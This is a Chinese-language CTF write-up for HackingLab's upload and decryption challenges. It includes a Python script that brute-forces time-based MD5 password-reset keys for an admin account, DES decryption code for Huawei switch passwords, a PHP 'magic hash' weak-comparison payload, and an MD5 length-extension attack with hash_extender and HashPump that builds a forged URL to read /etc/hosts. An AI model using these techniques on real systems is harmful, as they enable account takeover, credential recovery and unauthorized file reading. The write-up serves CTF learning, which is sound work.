HackingLab 上傳、解密關writeup
上傳關
三道題用 burp 抓包,該後綴名可破。。。好像有點太簡單了?
解密關
以管理員身份登錄系統
以管理員身份登錄即可獲取通關密碼(重置即可,無需登錄)
通關地址補充說明:假設除了admin用戶,其它用戶的郵箱都可被登錄獲取重置密碼的鏈接。
這題還有點難,仔細研究一下吧。
隨便用 admin1 賬號重置密碼兩次,看到兩個加密後的 sukey 值,md5 解密一下。
db37222b8b6f9bb9af5a4281963bb30b 1469516744n26361758d70db01f45ba8b5224090b12 1469516764n
妹的,cmd5 還收費,做個題還花了兩毛錢。。。
從解密結果看著像是時間戳,列印一下當前的時間戳得到:
In [2]: print time.time()n1469517486.53n
可以確定是用時間戳進行 md5 加密了,這樣就可以用腳本跑。
# coding=utf-8nimport requestsnimport hashlibnimport timennse = requests.session()nheaders = {Cookie: PHPSESSID=ec60a3853e6a7dbe3ed54558f05c23a7}nnwhile 1:n sukey = hashlib.new(md5, str(int(time.time()))).hexdigest()n url = http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey= + sukey + &username=adminn r = se.get(url, headers=headers)n time.sleep(0.5)n if r.content:n print r.contentn breakn else:n print Cracking: + sukeyn
跑了幾分鐘後拿到 flag。
邂逅對門的妹紙
小明想要認識對門的漂亮妹紙,但又不好意思直接去敲門,但是小明知道妹紙今年(2014年)上大三(提交wifi密碼的md5 32位小寫)
Wifi-Crack
2014 年上大三,出生應該在 1993 或 1994 年,看這樣子密碼應該是 8 位數字了,用 EWSA 爆破即可。
萬惡的Cisco
小明入侵了某企業內網,成功的從一管理員電腦獲取了某型號交換機running-config文件,發現以下密碼
02070D48030F1C294940041801181C0C140D0A0A20253A3B請你幫他破解該密碼。
網上搜一搜,找到一處在線破解,直接拿到 flag。
aishishenmadongxi@Adminn
萬惡的加密
這次小明通過某漏洞獲取到了某huawei/h3c交換機的加密密碼,請你幫他破解。
aK9Q4I)J』#[Q=^Q`MAF4<1!!
提示華為的交換機,谷歌搜一下,看到一篇文章,可惜 Windows 下跑不了這個腳本,放到 Kali 下,成功拿到 flag。
# coding=utf-8nfrom Crypto.Cipher import DESnndef decode_char(c):n if c == a:n r = ?n else:n r = cn return ord(r) - ord(!)nndef ascii_to_binary(s):n assert len(s) == 24n out = [0]*18n i = 0n j = 0nn for i in range(0, len(s), 4):n y = decode_char(s[i + 0])n y = (y << 6) & 0xffffffn k = decode_char(s[i + 1])nn y = (y | k) & 0xffffffn y = (y << 6) & 0xffffffn k = decode_char(s[i + 2])nn y = (y | k) & 0xffffffn y = (y << 6) & 0xffffffn k = decode_char(s[i + 3])n y = (y | k) & 0xffffffnn out[j+2] = chr(y & 0xff)n out[j+1] = chr((y>>8) & 0xff)n out[j+0] = chr((y>>16) & 0xff)nn j += 3n return "".join(out)nndef decrypt_password(p):n r = ascii_to_binary(p)n r = r[:16]n d = DES.new("x01x02x03x04x05x06x07x08", DES.MODE_ECB)n r = d.decrypt(r)n return r.rstrip("x00")nnif __name__ == __main__:n miwen = "aK9Q4I)J#[Q=^Q`MAF4<1!!"n print u明文 + decrypt_password(miwen)n
喜歡泡網吧的小明
小明特別喜歡泡網吧,而這個月小明拿到了他第一個月的薪水,於是這次到了他平時最常去的網吧充了100元辦理了一張會員卡,於是乎小明再也不用花錢上網了。
通關地址
winhex 打開 dump 文件,看到 70 以後的都是重複數據,應該沒什麼用,第一行數據混亂,看不出是什麼東西,抹成 0 上傳一下試試。
顯示餘額 100 塊,100 轉為 16 進位是 64,數據里並沒有這樣的地方,仔細觀察,分別轉換幾處不一樣的數據,發現 2710 轉換為十進位是 10000,原來是考慮了兩位小數。。。那麼把兩處 2710 改為4e20 再試試。
key is cardcrack_skill_get!n
異常數據
小明今天去妹紙家開Party,而妹紙卻給他出了一個謎語,說只要他能答出來,她就會答應小明一個要求.
這是妹紙給小明的謎語序列:AGV5IULSB3ZLVSE=
Tips:key就是解密結果
一看這個密碼就知道是 base64 了,但應該沒這麼簡單,果然解出來是亂碼,再看下密文,全是大寫,可能是處理過,一共 13 個字母,大小寫變化就一共有 8192 種變化。。。好多,只能寫個腳本慢慢跑了。
# coding=utf-8nfrom base64 import *nimport renndef dfs(res, arr, pos):n res.append(.join(arr))n i = posn for i in range(i, len(arr)):n if arr[i] <= Z and arr[i] >= A:n arr[i] = arr[i].lower()n dfs(res, arr, i + 1)n arr[i] = arr[i].upper()nnarr = list(AGV5IULSB3ZLVSE=)nres = []nndfs(res, arr, 0)nnres_decode = map(b64decode, res)nnfor i in res_decode:n if re.findall(rx, repr(i)): # 使用 repr 防止轉義 n continuen else:n print in
跑出 flag。
md5真的能碰撞嘛?
md5真的能碰撞嘛?其實有時候我們不需要進行碰撞得到完全一致的MD5
通關地址
點開連接,查看源碼,有一個 txt 文件。
<?phpn$flag=FLAG;nif(isset($_POST["password"])){nt$password=$_POST[password];n $rootadmin="!1793422703!";n if($password==$rootadmin){die("Please do not attack admin account!");}nn if(md5($password)==md5($rootadmin)){n echo $flag;n }else{n die("Password Error!");n }n}n?>n
源碼中 md5($rootadmin) 的值為 0e332932043729729062996282883873 ,想到了 PHP 的== 弱類型漏洞,參考文章。
那麼直接 POST 提交 payload 即可。
password=240610708n
小明愛上了一個搞硬體的小姑涼
小明愛上了一個搞嵌入式開發的小姑涼,於是特別想通過一種與眾不同的方式向她表白,於是他在她的電腦桌面放了一個文件.
數據下載
Tips: 該文件為某邏輯分析儀抓包數據,請分析其中的內容,過關密鑰為抓包數據內容的小寫.
我都不想吐槽了,小明怎麼老愛上這麼稀奇古怪的姑娘。。。
WinHex 打開,末尾有一段數據是正常的字元串。
Async Serial j22 serialization::archive 10 25 SaleaeAsyncSerialAnalyzer
可以看出,設備的名字就叫 Saleae Async Serial Analyzer 。
網上搜一下,原來還真有這設備。。。我以為是胡亂寫的,看看官網的說明書吧,官網給的這軟體還挺大。。。安裝好以後直接打開下載的數據,右下角就出現了解碼後的 flag。
iloveyou,xiaoguniang!n
有簽名限制的讀取任意文件
我們一直認為,只要消息簽名了,salt不泄露且無法猜解到,即便是演算法使用公開的加密演算法,那麼黑客也無法篡改信息.可是真的是這樣嘛?
通關地址Tips: MD5 Length Extension Attack!Tips: 除已經告知的/etc/hosts文件外,若能讀取到任意系統文件即可獲取Flag.
Info: 增加密鑰長度為32位
看到第一條 tip 我就想到了之前做過的一道題,參見之前的 writeup,攻擊原理可以看這篇文章。
右鍵源代碼可以看到源碼。
<?phpnheader("Content-type:text/html;charset=utf-8");ninclude "_flag.php";ninclude "salt.php";nnn$mysalt=SALT;nnif(isset($_GET[filepath])&&!empty($_GET[filepath]) &&isset($_GET[sign]) &&!empty($_GET[sign])){ntmyreadfile($_GET[filepath],$mysalt,$_GET[sign]);nn}nelse{nt//降低一點複雜度ntvar_dump(strlen($mysalt));nttestsign("/etc/hosts",$mysalt);n}nnnfunction myhash($message,$mysalt){nttreturn md5($mysalt.$message);n}nfunction checksign($message,$mysalt,$sign){n if($sign==myhash($message,$mysalt)){n treturn True;n }else{n treturn False;n }n}nfunction myreadfile($filepath,$mysalt,$sign){nt$res=checksign($filepath,$mysalt,$sign);n if($res){n techo getfile($filepath);n }n else{n techo sign error!;n }n}nfunction testsign($filepath,$mysalt){ntecho myhash($filepath,$mysalt);n}nnnecho "<!--".file_get_contents(__FILE__);n
利用 hash_extender 或是 HashPump 進行攻擊。
# hash_extendernchen@vmware:~/桌面/hash_extender$ ./hash_extender -f md5 -l 32 -d /etc/hosts -s f3d366138601b5afefbd4fc15731692e -a --out-data-format=htmlnType: md5nSecret length: 32nNew signature: 1b17d9594eb404c97c5090b11660ac63nNew string: %2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00nn# HashPumpn╭─root@kali ~/Desktop/HashPump ?master*? n╰─$ hashpump -s f3d366138601b5afefbd4fc15731692e -d /etc/hosts -k 32 -a /etc/hosts n75221e2e5cd1cd1c7694cbd386571ffen/etc/hostsx80x00x00x00x00x00x00x00x00x00x00x00x00x00Px01x00x00x00x00x00x00/etc/hostsn
可以看到兩個工具都可以得到 payload,但是 HashPump 必須加上 add 的內容,否則不能生成,且 payload 還需要手工轉換成 URL 編碼才可以,從這一點上看 hash_extender 更勝一籌,但在 Kali 下,hash_extender 編譯不通過,我只能裝了個 Ubuntu 才弄好。不過 HashPump 也需要安裝 libssl-dev 包才行。
最終的 payload:
http://lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php?filepath=%2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00%2fetc%2fhosts&sign=75221e2e5cd1cd1c7694cbd386571ffen
推薦閱讀:
※信息安全中pwn到底能用來幹什麼?
※打CTF比賽,對以後有什麼幫助嗎?含金量高嗎?
※如何評價今年的0CTF?
※國際國內良心的ctf比賽?
※世界範圍內知名的 CTF 競賽有哪些?各有何不同?
TAG:CTFCaptureTheFlag | 黑客Hacker | 信息安全 |